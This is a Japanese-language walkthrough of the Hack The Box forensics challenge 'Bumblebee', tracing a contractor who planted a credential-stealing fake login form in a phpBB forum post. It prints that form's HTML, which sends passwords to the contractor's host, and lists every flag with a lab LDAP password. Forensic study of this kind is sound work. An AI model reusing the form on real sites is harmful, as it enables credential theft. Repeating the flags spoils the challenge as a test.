Hack The Box Sherlocks - Bumblebee(Easy) Writeup

2024/02/04に公開

Sherlock Scenario

シナリオは下記の通り。外部業者がゲストWi-Fi経由でForela社の社内フォーラムにアクセスし、管理ユーザの認証情報を盗んだ可能性がある。社内フォーラムのログとsqlite3形式のデータベースダンプが与えられるので、これらから事象を調査するというシナリオになっている。

An external contractor has accessed the internal forum here at Forela via the Guest WiFi and they appear to have stolen credentials for the administrative user! We have attached some logs from the forum and a full database dump in sqlite3 format to help you in your investigation.

提供されている bumblebee.zip を解凍すると access.log と phpbb.sqlite3 というファイルが得られた。

# ls -la
drwxrwxrwx 1 root root    4096 Jan 21 20:12 .
drwxrwxrwx 1 root root    4096 Jan 21 20:12 ..
-rwxrwxrwx 1 root root  197542 Apr 26  2023 access.log
-rwxrwxrwx 1 root root 1044480 Apr 26  2023 phpbb.sqlite3

Task

Task 1

What was the username of the external contractor?
外部業者のユーザー名は?

phpbb.sqlite3をDB Browser for SQLiteで開く。phpbb_userというテーブルにユーザ情報が入っている。

メールアドレスのドメイン名より、 apoole@contractor.netapoole1@contractor.net の2つが外部業者用のアカウントに見える。FLAGのフォーマット末尾が「1」となっているため、 apoole1 の方が正解。

FLAG : apoole1

Task 2

What IP address did the contractor use to create their account?
外部業者はどのIPアドレスを使ってアカウントを作成したのか?

phpbb_userテーブルのデータには user_ip というカラムがあるため、ここから当該ユーザが利用しているIPアドレスを確認できる。不正を行った外部業者はIPアドレス 10.10.0.78 を利用していると思われる。

FLAG : 10.10.0.78

Task 3

What is the post_id of the malicious post that the contractor made?
外部業者が行った悪質な投稿のpost_idは何ですか?

phpbb_postsテーブルを確認する。poster_ipカラムを確認して外部業者が使用していたIPアドレス 10.10.0.78 になっているものを探すと、 post_id=9 が該当するようだった。

FLAG : 9

Task 4

What is the full URI that the credential stealer sends its data to?
credential stealerがデータを送信するURIはどれか?

Task 3の投稿では post_text というカラムにスクリプトが含まれているようだった。
スクリプトはForm Actionで http://10.10.0.78/update.php に対してデータをPOSTするような内容が含まれていて怪しい。(IPアドレスが外部業者の使用していたものとなっている)

<form action="http://10.10.0.78/update.php" method="post" id="login" data-focus="username"
    target="hiddenframe">
    <div class="panel">
        <div class="inner">
            <div class="content">
                <h2 class="login-title">Login</h2>
                <fieldset class="fields1">
                    <dl>
                        <dt><label for="username">Username:</label></dt>
                        <dd><input type="text" tabindex="1" name="username" id="username" size="25"
                                value="" class="inputbox autowidth"></dd>
                    </dl>
                    <dl>
                        <dt><label for="password">Password:</label></dt>
                        <dd><input type="password" tabindex="2" id="password" name="password" size="25"
                                class="inputbox autowidth" autocomplete="off"></dd>
                    </dl>
                    <dl>
                        <dd><label for="autologin"><input type="checkbox" name="autologin"
                                    id="autologin" tabindex="4">Remember me</label></dd>
                        <dd><label for="viewonline"><input type="checkbox" name="viewonline"
                                    id="viewonline" tabindex="5">Hide my online status this
                                session</label></dd>
                    </dl>
                    <dl>
                        <dt>&nbsp;</dt>
                        <dd> <input type="submit" name="login" tabindex="6" value="Login"
                                class="button1" onclick="sethidden()"></dd>
                    </dl>
                </fieldset class="fields1">
            </div>
        </div>
    </div>
</form>

FLAG : http://10.10.0.78/update.php

Task 5

When did the contractor log into the forum as the administrator? (UTC)
外部業者が管理者としてフォーラムにログインしたのはいつですか?

phpbb_logテーブルを確認する。外部業者の利用するIPアドレスから行われた操作として LOG_ADMIN_AUTH_SUCCESS が記録されている。当該時刻に管理者としてフォーラムにログインが行われたと考えられる。

FLAG : 26/04/2023 10:53:12

Task 6

In the forum there are plaintext credentials for the LDAP connection, what is the password?
フォーラムにはLDAP接続のための平文認証情報がありますが、パスワードは何ですか?

phpbb_configテーブルを確認する。ldap_passwordの値を確認すると Passw0rd1 となっている。これがLDAP接続のためのパスワードと考えられる。

FLAG : Passw0rd1

Task 7

What is the user agent of the Administrator user?
管理者ユーザのUser-Agentは何ですか?

本物の管理者が使用しているIPアドレスは 10.255.254.2 であると思われる。当該IPアドレスで access.log をフィルタしてUser-Agent文字列を確認する。

10.255.254.2 - - [25/Apr/2023:12:08:42 +0100] "GET /adm/index.php?sid=ac1490e6c806ac0403c6c116c1d15fa6&i=12 HTTP/1.1" 403 9412 "http://10.10.0.27/adm/index.php?sid=ac1490e6c806ac0403c6c116c1d15fa6&i=1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36"
10.255.254.2 - - [25/Apr/2023:12:08:42 +0100] "GET /app.php/feed?sid=09806b0063764bf3f30292abbad0801f HTTP/1.1" 200 1725 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36"
10.255.254.2 - - [25/Apr/2023:12:08:42 +0100] "GET /app.php/feed/topics?sid=09806b0063764bf3f30292abbad0801f HTTP/1.1" 200 1758 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36"
...
...

FLAG : "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36"

Task 8

What time did the contractor add themselves to the Administrator group? (UTC)
外部業者が管理者グループに追加されたのはいつですか?

phpbb_logテーブルを確認する。外部業者の利用するIPアドレスによる操作として LOG_USERS_ADDED が記録されているので、当該時刻に外部業者が管理者グループに追加されたと考えられる。

a:2:{i:0;s:14:"Administrators";i:1;s:6:"apoole";}

FLAG : 26/04/2023 10:53:51

Task 9

What time did the contractor download the database backup? (UTC)
外部業者がデータベースのバックアップをダウンロードしたのはいつですか?

提供されているaccess.logを確認する。外部業者の利用していると判断しているIPアドレス 10.10.0.78 からのGETリクエストで backup_1682506471_dcsr71p7fyijoyq8.sql.gz というファイルが取得されていて怪しく見える。時刻をUTCに直すと 26/04/2023 11:01:38 になる。

10.10.0.78 - - [26/Apr/2023:12:01:38 +0100] "GET /store/backup_1682506471_dcsr71p7fyijoyq8.sql.gz HTTP/1.1" 200 34707 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0"

FLAG : 26/04/2023 11:01:38

Task 10

What was the size in bytes of the database backup as stated by access.log?
access.logに記載されているデータベースのバックアップのサイズは何バイトですか?

Task 9のログからダウンロードされているバックアップデータのサイズを確認する。

FLAG : 34707

Discussion